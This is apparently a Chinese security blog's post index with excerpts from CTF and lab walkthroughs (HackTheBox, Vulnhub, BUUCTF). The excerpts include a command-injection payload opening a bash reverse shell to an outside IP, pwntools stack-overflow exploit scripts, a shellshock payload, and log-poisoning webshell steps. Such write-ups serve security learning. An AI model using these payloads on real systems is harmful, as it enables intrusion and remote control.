wubba lubba dub dub.
post @ 2025-01-26

蓝队简介

前期工作

资产梳理:
1.询问调查熟悉对外开放的资产(ip,域名,端口等具体的情况)
2.自己使用工具,如nmap等扫描,发现完善资产掌握状况


风险评估:
根据条件提前进行简单或复杂的渗透测试,了解漏洞情况(哪些要马上修复,哪些可以缓一缓),评估其危害以及修复漏洞的兼容性,未雨绸缪


应急响应方案制定:
面对 勒索 APT 等不同场景,制定不同的应对方案,要落实具体由谁去处理,资产由谁负责,对应的联系人是谁


其他:
如针对钓鱼邮件防范的员工安全意识培训,等等

值守工作

Read More
post @ 2025-01-16

Updown

来源:HackTheBox

难度:Medium

nmap -O -A -Pn -sV -sS -p- 10.10.11.177

# 在vps上对10.10.11.177进行扫描

发现目标开启了80,22端口,对应web,ssh服务,访问80端口发现有web服务,并且域名为siteisup.htb,随机在vps和本地添加解析,一番操作无果,甚至还有一个xss的兔子洞,尝试目录扫描:

# 使用dirb进行逐级递归扫描
dirb http://10.10.11.177/ -r
dirb http://10.10.11.177/dev/ -r

# 官方wp 使用gobuster逐级扫描
gobuster dir -u http://siteisup.htb/ -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://siteisup.htb/dev -w /usr/share/wordlists/dirb/common.txt

# ffuf
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,302,301 -u http://siteisup.htb/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,302,301 -u http://siteisup.htb/dev/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,302,301 -u http://siteisup.htb/dev/.FUZZ
# 最后一个是尝试隐藏目录

发现/dev/.git泄露,使用工具git-dumper来利用(githack居然不行)

pip install git-dumper # 安装

git-dumper http://siteisup.htb/dev/.git dev
# 最后那个dev是自己取的文件夹名 可以随便填一个

# 另一种方法 (这个方法很麻烦故不采用 仅记录wget的用法)
wget -c -r -np -k -L -p http://siteisup.htb/dev/.git/
# 这样使用wget可以将整个.git递归下载下来
# 然后用GitKraken查看有用的数据
https://www.gitkraken.com/download

使用工具发现有一个.htaccess文件值得注意,查看内容:

大意是在http头部添加了一个Special-Dev: only4dev的键值对,如果头部没有这个,就不允许访问,尝试带上头部去访问/dev路径发现没有变化,这不禁让我们思考,究竟是访问什么才需要带上这个头部呢
根据信息搜集的知识点,我们可以尝试爆破一下子域名:

# 官方wp ffuf
ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w 
/root/allinsub.txt
# 先不加任何限制条件地扫描,发现错误的子域名数据包的大小均为1131,过滤这个大小再次扫描
ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w 
/root/allinsub.txt -fs 1131

# gobuster
gobuster vhost -w /root/allinsub.txt -t 50 -u siteisup.htb
Read More
post @ 2025-01-15

Busqueda

来源:HackTheBox

难度:Eazy

nmap -O -A -Pn -sV -sS -p- 10.10.11.208

# 在vps上对10.10.11.208进行扫描

发现目标开启了80,22端口,对应web,ssh服务
访问80端口,发现有网页,抓包发现github项目地址:

https://github.com/ArjunSharda/Searchor


该搜索也是直接将我们输入的字符串直接进行了拼接,例如:Engine.Google.search(“Hello, World!”)。整理下思路并在python中进行测试,发现当传递的参数为:1’+print(‘1’)+’时会将print中的字符串进行输出,说明进行了命令执行。
然后在抓取的数据包中进行测试,将输入的数据修改为:1’+print(‘234’)+’,但是并未执行print语句。后面对+进行了编码后:1’%2bprint(‘234’)%2b’,print命令可以正常执行。
我们就进行shell反弹,语句:1’%2b__import__(“os”).system(“bash -i >&/dev/tcp/10.10.14.50/6688 0>&1”)%2b’,但是并未成功反弹shell。使用base64加密同样不行。编码也试了不行。不过确实是可以进行命令执行的,例如获取id:1’%2bprint(import(‘os’).system(“id”))%2b’,不过这里发现了用户名:svc。

摘自:https://www.cnblogs.com/upfine/p/17408873.html


使用命令尝试直接读取/home/svc/user.txt /home/svc/password.txt /home/svc/proof.txt (flag多在这些文件里)在user.txt中成功读取flag
使用命令查看当前目录,发现.git目录,遂尝试读取里面的config文件,发现cody用户的密码:

尝试使用这个密码和svc账户登录ssh成功,登陆后使用sudo -l查看可用sudo执行的命令:

运行,发现可以填参数,在跑full-checkup参数的时候出错:

进入到脚本目录,发现目录中还有一个full-checkup.sh,在该目录下运行程序正常,猜测脚本文件调用了当前目录下的full-checkup.sh,而因为我们第一次运行的目录中没有full-checkup.sh所以程序错误
此时我们可以设想,如果我们自己写一个full-checkup.sh给脚本调用,或许可以以sudo权限进行恶意操作,cd到/tmp目录,开始编写payload:

Read More
post @ 2025-01-15

配置vps

使用如下命令在vps端安装必要依赖:

apt-get install openvpn openssh-server

然后注意在云控制台设置防火墙配置,如果设置后防火墙仍然没有关闭,可以使用:

ufw disable

命令来彻底关闭防火墙,然后修改/etc/ssh/sshd_config文件,添加如下内容:

AllowTcpForwarding yes

添加完后保存重启vps,重启后确保ssh可以连接(知道密码 使用密码连接)即可

配置本地机器

法一:sshuttle

Read More
post @ 2025-01-15

来源BUUCTF

检查安全设置和类型

拿到先放到checksec里面检查安全设置和类型,发现保护较为薄弱,并且是64位小端序

静态分析

静态分析发现是一个很简单的栈溢出,payload如下,这里主要介绍堆栈平衡的特性(ubuntu18后的新特性):

from pwn import *
context(log_level='debug')

#io=process('pwn1')
io=remote("node5.buuoj.cn",27824)

payload=cyclic(0xf+0x8)+p64(0x401187)  # 直接跳转到后门函数的第二行(第一行地址为0x401186,汇编为push,对堆栈平衡有影响,所以跳到第二行)
#payload=cyclic(0xf+0x8) + p64(0x401185)+p64(0x401186)   先跳到任意一个ret汇编语句,然后跟上后门函数地址(第一行)
遇到ubuntu18及以上的环境时需要考虑堆栈平衡,可以选用以上任意一种方法来平衡

io.sendline(payload)
io.interactive()
Read More
post @ 2025-01-14

来源BUUCTF

检查安全设置和类型

拿到先放到checksec里面检查安全设置和类型,发现保护较为薄弱,并且是32位小端序

静态分析


在IDA中查看vuln函数,发现我们只能输入32字节大小的字符(s只有32字节),而覆盖栈需要0x3C个字符,显然是没法溢出的,仔细观察,看到大写I和小写you,经过猜测和测试发现当我们给程序输入一个大写I,程序会将其替换为you,这样我们就可以构造足够的字符来溢出了,下面给出payload:

from pwn import *
context(log_level='debug')

#io=process('./pwn1_sctf_2016')    # 本地打通
io=remote("node5.buuoj.cn",28285)  # 远程打通

payload=b'I'*21+b'a'+p32(0x8048F0E) # 需要64个字符来填满,21个I能换63个字符加一个a,后面是后门函数地址

#io.recvline()
io.sendline(payload)
io.interactive()
Read More
post @ 2025-01-12

symfonos-5

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.132
# 对除了192.168.36.132之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.137开启了80,22,389,636端口,对应web,ssh,ldap,ldap_ssl服务
使用dirb扫描发现登录口,结合ldap服务,猜测是ldap注入漏洞,此处简要做一下漏洞介绍:


ldap服务是轻量级目录访问协议,用于在目录的资源中搜索和查询,类似理解为数据库。既然需要查询,就有它自己的查询语句,就像关系型数据库有sql语句来查询,此时就想到了sql注入,对于登录框,也许也存在类似于sql注入的漏洞。于是特意查了一下是否存在ldap的注入,也确实存在这样的注入漏洞。

此处断开,简(我)单(也)介(只)绍(会)一(这)下(些)ldap注入漏洞,内容不一定正确,都是我自己的理解:

既然类似于sql注入,学会sql注入,就要先了解sql语句。学习ldap注入漏洞,就要学会其基本语法。

先介绍基本语法:

Read More
post @ 2025-01-11

symfonos-4

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.7.0/24 -vv -exclude 192.168.7.133
# 对除了192.168.7.133之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.137开启了80,22端口,对应web,ssh服务
使用dirb扫描发现登陆口:

dirb http://192.168.7.132/ /usr/share/dirb/wordlists/big.txt -r -X .php,.zip,.rar

---- Scanning URL: http://192.168.7.132/ ----
+ http://192.168.7.132/atlantis.php (CODE:200|SIZE:1718)


使用万能密码登录成功:

发现可能存在文件包含,尝试包含/etc/passwd和ssh日志文件(开启了ssh服务)

http://192.168.7.132/sea.php?file=../../../../var/log/auth  # 包含ssh日志

发现可以包含ssh日志,便尝试通过nc连接ssh往ssh日志里写webshell:

这里由于环境原因,要用system和post写一句话
尝试包含日志执行命令:

getshell后上传脚本尝试提权,发现本地127.0.0.1地址的8080端口开着一个web服务,使用socat将其转发到另一个端口:

socat TCP-LISTEN:8000,fork TCP:127.0.0.1:8080

# 将本地8080端口转发到本地8000端口(0.0.0.0:8000)
Read More
post @ 2025-01-02

symfonos-3

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1

# 对除了192.168.36.1之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.137开启了80,22,21端口,对应web,ssh,ftp服务
尝试阵队ftp服务的攻击没有效果,尝试网页目录爆破,发现/cgi-bin``````/gate``````index.html等目录,递归扫描发现/gate/目录后貌似没有东西,尝试爆破/cgi-bin(403目录爆破:遇到403可以尝试在后面爆破,可能可以拼出200的目录),使用dirbuster(只有dirbuster才跑的出来,字典太大,需要多线程),直接在终端输入dirbuster打开,并如下图配置:

反选Recursive取消递归,爆破出/cgi-bin/underworld目录,在/cgi-bin-underworld/后拼接任何路径均返回服务器执行uptime的结果

命令执行+cgi-bin,有经验的师傅可能已经可以才出来是旧版本bash导致的shellshock了
Shellshock漏洞,又称bashdoor,bash4.3版本之前都存在这个漏洞,漏洞编号为CVE-2014-6271,各大安全平台均有详细分析说明
具体漏洞说明请看:https://blog.csdn.net/weixin_43864567/article/details/115723566


这里仅作简要说明:
Bash解释器在解释环境变量时,不仅仅是简单地替换变量的值,它还会对变量的内容进行解释,包括其中可能存在的特殊字符和命令。这就是为什么插入恶意函数之后,这些函数能够被执行的原因。

在Shellshock漏洞中,攻击者可以通过在环境变量中插入恶意代码,例如函数定义,然后触发Bash解释器执行这些代码。这是因为Bash解释器在解释环境变量时,并不仅仅是将变量的值替换为文本,而是会尝试解释其中的特殊字符和命令。

如果在环境变量中插入了以下内容:

env FUNC=’() { echo “66666!”; }; echo “shellshock” ‘

Read More
post @ 2024-12-31

prime-1

来源:Vulnhub

难度:Eazy

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1

# 对除了192.168.36.1之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.136开启了80,22端口,对应web,ssh服务
访问80端口,发现有网页,尝试爆破目录:

dirb http://192.168.36.136/  # 默认部分递归扫描
dirb http://192.168.36.136/ -r  # 不递归扫描

发现wordpress,dev等路径,访问/dev路径提示要更加仔细的挖掘,且下一个敏感文件的文件名为location.txt,尝试指定后缀文件爆破(dirb默认指定爆破的很有限)

dirb http://192.168.36.136/ -X .php,.txt
# 指定用php和txt后缀字典爆破

爆破出来secret.txt文件,访问提示使用wfuzz对之前爆出来的php文件进行参数爆破:

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.36.136/index.php?FUZZ=something
Read More
⬆︎TOP